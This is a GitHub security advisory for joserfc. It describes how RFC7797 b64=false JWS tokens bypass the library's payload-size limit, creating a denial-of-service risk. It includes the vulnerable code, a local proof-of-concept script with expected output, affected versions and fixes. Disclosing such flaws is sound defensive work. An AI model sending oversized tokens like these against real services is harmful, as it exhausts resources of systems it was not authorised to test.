Skip to content

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

Moderate severity GitHub Reviewed Published May 24, 2026 in authlib/joserfc • Updated Jun 26, 2026

Package

pip joserfc (pip)

Affected versions

>= 1.3.4, < 1.6.7

Patched versions

1.6.7

Description

RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.

Affected Product

  • Package: joserfc
  • Ecosystem: pip
  • Audited release: 1.6.5
  • Audit tag: 1.6.5
  • Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7
  • Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5
  • Fixed release: none known

Vulnerability Details

In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

if is_rfc7797_enabled(protected):
    if not payload_segment and payload:
        payload_segment = to_bytes(payload)
    payload = payload_segment

The flattened JSON RFC7797 path has the same pattern:

payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
    payload = payload_segment

Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.

Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.

Requirements:

python -m pip install "joserfc==1.6.5"

Run:

python joserfc_rfc7797_size_bypass_poc.py

Self-contained proof script:

#!/usr/bin/env python3
import json

import joserfc
from joserfc import jws
from joserfc.jwk import OctKey


def check_compact(name, header, payload, key):
    token = jws.serialize_compact(header, payload, key)
    try:
        obj = jws.deserialize_compact(token, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


def check_json(name, protected, payload, key):
    data = jws.serialize_json({"protected": protected}, payload, key)
    try:
        obj = jws.deserialize_json(data, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }


key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)

results = {
    "joserfc_version": joserfc.__version__,
    "default_max_payload_length": limit,
    "payload_len": len(payload),
    "compact": [
        check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
        check_compact(
            "rfc7797_b64_false",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
    "json": [
        check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
        check_json(
            "rfc7797_b64_false_json",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
}
print(json.dumps(results, indent=2, sort_keys=True))

Expected output on 1.6.5 includes:

{
  "default_max_payload_length": 128000,
  "payload_len": 128001,
  "compact": [
    {
      "case": "normal_b64_true",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ],
  "json": [
    {
      "case": "normal_b64_true_json",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false_json",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ]
}

Version Checks

I reproduced the same differential behavior on these releases:

Version Normal JWS over limit RFC7797 b64=false over limit
1.3.4 ExceededSizeError accepted
1.3.5 ExceededSizeError accepted
1.4.2 ExceededSizeError accepted
1.6.2 ExceededSizeError accepted
1.6.3 ExceededSizeError accepted
1.6.4 ExceededSizeError accepted
1.6.5 ExceededSizeError accepted

The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.

Relationship to Existing Advisories

I found two related public advisories for joserfc, but neither appears to cover this root cause.

GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.

GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.

Workarounds

Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.

Suggested Remediation

Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.

References

@lepture lepture published to authlib/joserfc May 24, 2026
Published by the National Vulnerability Database Jun 17, 2026
Published to the GitHub Advisory Database Jun 26, 2026
Reviewed Jun 26, 2026
Last updated Jun 26, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(6th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-48990

GHSA ID

GHSA-wphv-vfrh-23q5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.